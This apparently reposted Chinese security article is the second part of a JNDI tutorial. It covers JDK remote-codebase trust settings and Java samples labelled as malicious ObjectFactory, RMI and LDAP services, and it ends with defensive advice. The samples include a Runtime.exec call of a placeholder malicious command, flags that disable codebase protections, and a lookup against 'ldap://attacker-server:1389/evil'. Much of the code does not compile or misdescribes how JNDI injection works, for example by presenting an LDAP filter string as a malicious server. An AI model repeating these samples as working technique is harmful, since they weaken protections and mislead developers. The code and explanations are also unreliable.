上篇内容请点击浏览:九维团队-绿队(改进)| JNDI用法示例及安全开发建议(上)
十一、RMI/LDAP 远程对象引用安全限制
在 RMI 服务中引用远程对象将受本地 Java 环境限制,即本地的 java.rmi.server.useCodebaseOnly 配置必须为 false(允许加载远程对象),如果该值为 true 则禁止引用远程对象。除此之外被引用的 ObjectFactory 对象还将受到 com.sun.jndi.rmi.object.trustURLCodebase 配置限制,如果该值为 false(不信任远程引用对象) 一样无法调用远程的引用对象。
-
JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121 开始 java.rmi.server.useCodebaseOnly 默认配置已经改为了 true。
-
JDK 6u132, JDK 7u122, JDK 8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值已改为了 false。
本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
*左右滑动查看更多
或者在启动 Java 程序时候指定 -D 参数:
-Djava.rmi.server.useCodebaseOnly=false
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
*左右滑动查看更多
LDAP 在 JDK 11.0.1、8u191、7u201、6u211 后也将默认的 com.sun.jndi.ldap.object.trustURLCodebase 设置为了 false。
高版本 JDK 可参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用。
十二、使用创建恶意的 ObjectFactory对象
首先,创建一个类 MyObjectFactory,实现 javax.naming.spi.ObjectFactory 接口。
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class MyObjectFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在这里执行恶意操作,例如获取敏感信息或者执行不安全的代码
// ...
return null;
}
}
*左右滑动查看更多
然后,将该类编译为字节码文件,并将其放置在一个 JAR 文件中。
接下来,可以使用以下代码来注册并使用该恶意的 ObjectFactory 对象:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class MyJNDIAttack {
public static void main(String[] args) {
try {
// 创建一个Hashtable对象,用于存储JNDI上下文的环境属性
Hashtable<String, Object> env = new Hashtable<String, Object>();
// 添加一个引用,指定ObjectFactory的类名为MyObjectFactory
env.put("java.naming.factory.object", "MyObjectFactory");
// 创建一个JNDI初始上下文
Context ctx = new InitialContext(env);
// 进行JNDI查询,此操作会触发MyObjectFactory.getObjectInstance方法
// 这里的name参数可以自定义,例如使用非法的URL或者传递恶意参数
Object obj = ctx.lookup("name");
// 使用查询结果进行其他操作,例如调用方法或获取属性值
// ...
// 关闭JNDI上下文
ctx.close();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
*左右滑动查看更多
在上述示例中,我们自定义了一个 MyObjectFactory 类实现了 javax.naming.spi.ObjectFactory 接口,并在 getObjectInstance 方法中执行了恶意操作。然后,通过创建 JNDI 上下文的方式,在环境属性中指定了 MyObjectFactory 的类名,并使用 lookup 方法进行查询,从而触发了 getObjectInstance 方法。最终,我们可以在获取的结果中进行其他操作。
十三、创建恶意的 RMI服务
创建恶意的 RMI(远程方法调用)服务需要涉及到以下几个步骤:
步骤1
创建恶意的 ObjectFactory 对象
ObjectFactory 对象是用来创建远程对象的工厂对象。恶意的 ObjectFactory 对象会包含恶意的代码,用于攻击目标系统。
一种常见的恶意代码是 RMI 注入代码,它会通过更改 Java SecurityManager 的权限来获取对目标系统的控制。下面是一个示例的 ObjectFactory 对象的恶意代码:
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.spi.ObjectFactory;
public class MaliciousObjectFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 恶意代码
Runtime.getRuntime().exec("malicious_command"); // 执行恶意命令
return null; // 返回 null,不会创建任何对象
}
}
*左右滑动查看更多
通过编译上述代码并打包成 JAR 文件,我们可以在远程服务中使用这个 ObjectFactory 对象。
步骤2
启动恶意的 RMI 服务
在启动 RMI 服务之前,需要注册 RMI 注册表以便客户端能够访问该服务。下面是一个简单的示例代码:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class MaliciousRMIServer {
public static void main(String[] args) throws Exception {
// 注册 RMI 注册表
Registry registry = LocateRegistry.createRegistry(1099);
// 创建远程对象
MaliciousObjectFactory factory = new MaliciousObjectFactory();
ObjectFactory remoteObject = (ObjectFactory) UnicastRemoteObject.exportObject(factory, 0);
// 绑定远程对象到命名空间
registry.bind("MaliciousObject", remoteObject);
System.out.println("Malicious RMI server is running...");
}
}
*左右滑动查看更多
上述代码中,我们使用了 RMI 注册表的默认端口 1099,并将恶意的 ObjectFactory 对象绑定到了命名空间中。
步骤3
启动恶意的 RMI 客户端
现在我们可以创建一个恶意的 RMI 客户端,用于连接到恶意的 RMI 服务并触发恶意代码的执行。下面是一个简单的示例代码:
import java.rmi.Naming;
import javax.naming.Context;
public class MaliciousRMIClient {
public static void main(String[] args) throws Exception {
// 连接到 RMI 服务并获取恶意对象
Context namingContext = new InitialContext();
Object obj = namingContext.lookup("MaliciousObject");
// 当调用恶意对象的方法时,恶意代码将会被执行
obj.getObjectInstance(null, null, null, null);
}
}
*左右滑动查看更多
上述代码中,我们使用了 Java 的 RMI Naming API 来连接到恶意的 RMI 服务,并获取了恶意的 ObjectFactory 对象。当调用该对象的 getObjectInstance 方法时,恶意代码将被执行。
十四、创建恶意的 LDAP服务
创建恶意的 LDAP 服务需要使用 Java 的 JNDI(Java Naming and Directory Interface)库。下面是一个简单示例代码:
import javax.naming.Context;
import javax.naming.directory.Attributes;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.BasicAttributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
public class MaliciousLDAPServer {
public static void main(String[] args) throws Exception {
// 创建一个基本的属性对象
Attributes attrs = new BasicAttributes(true);
BasicAttribute attr = new BasicAttribute("objectClass");
attr.add("top");
attrs.put(attr);
// 创建一个基本的域名上下文
// 这里使用的是LDAP协议,默认端口是389
String url = "ldap://localhost:389/";
Context ctx = new InitialDirContext();
// 绑定恶意的 LDAP 路径
// 这里的用户输入相当于拼接到LDAP路径的一部分,以进行LDAP注入攻击
String maliciousInput = "(&(username=bob)(password=" + args[0] + "))";
ctx.bind(maliciousInput, null, attrs);
System.out.println("恶意的LDAP服务已创建");
}
}
*左右滑动查看更多
这段代码创建了一个恶意的 LDAP 服务,它接受用户输入作为参数,并将其拼接到 LDAP 路径中,以进行 LDAP 注入攻击。
代码分成几个步骤:
1、首先,创建一个基本的属性对象 Attributes 和 BasicAttributes,它们用于定义对象的属性和值。
2、然后,创建一个基本的域名上下文 InitialDirContext,用于连接到 LDAP 服务器。在本例中,我们使用了 ldap://localhost:389/ 作为 LDAP 服务器的 URL。
3、接下来,我们拼接用户输入参数到恶意的 LDAP 路径中,通过注入攻击来执行恶意的操作。在本例中,我们使用用户输入的参数作为密码,拼接到 (&(username=bob)(password=<用户输入的参数>)) 这样的 LDAP 过滤器中。
4、最后,使用 ctx.bind() 方法绑定恶意的 LDAP 路径和空对象到上下文中。这会导致 LDAP 服务器接受恶意的操作。
十五、JNDI注入漏洞利用
JNDI(Java Naming and Directory Interface)注入是一种常见的漏洞,它允许攻击者通过操纵Java命名和目录接口来执行恶意代码。这种注入漏洞通常出现在使用了不安全的JNDI实现的应用程序中。
在利用JNDI注入漏洞时,攻击者通常会创建一个恶意的LDAP(Lightweight Directory Access Protocol)服务。LDAP是一种用于访问和维护分布式目录信息的协议。通过构造特定的LDAP请求并将其发送到目标应用程序,攻击者可以实现远程代码执行、敏感数据泄露等恶意行为。
以下是一个简单的示例代码,用于创建一个恶意的LDAP服务:
import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.Attributes;
import javax.naming.directory.BasicAttributes;
public class MaliciousLDAPServer {
public static void main(String[] args) throws Exception {
// 创建LDAP服务的上下文
Context ctx = new InitialDirContext();
// 创建用于添加新条目的属性
Attributes attrs = new BasicAttributes();
attrs.put("objectClass", "inetOrgPerson");
attrs.put("cn", "Malicious User");
attrs.put("sn", "User");
// 使用LDAP服务上下文添加新条目
DirContext result = ctx.createSubcontext("ldap://attacker-server:1389/evil", attrs);
}
}
*左右滑动查看更多
这段代码创建了一个LDAP服务,并尝试向目标应用程序添加了一个名为"Malicious User"的用户。请注意,这只是一个简单的示例,实际的恶意代码可能会更加复杂和隐蔽。
十六、JNDI安全开发建议
防止JNDI注入需要采取以下开发建议:
1、使用白名单验证:不要相信用户输入的数据,将可信的JNDI URL限制在一组已知的白名单内。
2、输入验证和过滤:对用户输入的数据进行严格的验证和过滤,防止恶意数据注入。
3、使用安全的LDAP连接:使用安全的TLS/SSL连接、绑定DN(Distinguished Name)和密码,以验证与LDAP服务器的连接。
4、避免使用LDAP URL:避免使用用户提供的LDAP URL,而是使用硬编码的LDAP连接参数。
5、定期更新库和框架:确保你使用的JNDI库和相关框架是最新版本,以获得最新的安全修复程序。
6、使用安全策略文件:通过配置安全策略文件,可以限制应用程序的权限和资源访问,从而减少潜在的风险。
7、日志记录和监控:记录JNDI操作的日志,并进行监控,及时发现异常行为。
8、定时审计:定期审计应用程序中使用的JNDI连接,以发现潜在的安全漏洞。
总的来说,防止JNDI注入需要严格验证和过滤用户输入数据,限制JNDI连接的访问范围,并采取其他安全措施,以确保应用程序的安全性。
十七、JNDI注入漏洞防御
JNDI注入漏洞是一种攻击方式,攻击者可以通过恶意构造JNDI URL,注入恶意Object对象。攻击成功后,攻击者就可以在服务器上执行任意代码。以下是几种常见的防范措施:
1、避免使用外部资源环境,对于外部提供的可能影响系统资源的环境数据,需要进行可靠性的控制和验证。
2、关闭不必要的JNDI服务,如果不使用JNDI服务,可以关闭或删除对应组件。
3、对JNDI URL的输入进行控制和过滤,防止攻击者注入恶意代码。特别是要注意对只能输入确定结果的情况进行控制,避免出现任意输入的情况。
4、在代码实现时,使用私有资源环境,避免使用公共资源环境,以免面对未知来源和控制。
5、限制JNDI资源的读取和写入权限,只给予必要的使用权限。
6、不要将JNDI URL解析为动态代码。通过将URL仅作为字符串操作,限制将其转化为真正的代码实例。
需要注意的是,在防范JNDI注入漏洞的过程中同时需要防御其他类型的远程代码执行漏洞,比如反序列化漏洞等。因此维护有效的漏洞库和修正状态,及时更新和调整相应的防范措施,对于提高系统安全性非常重要。
往期回顾
原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论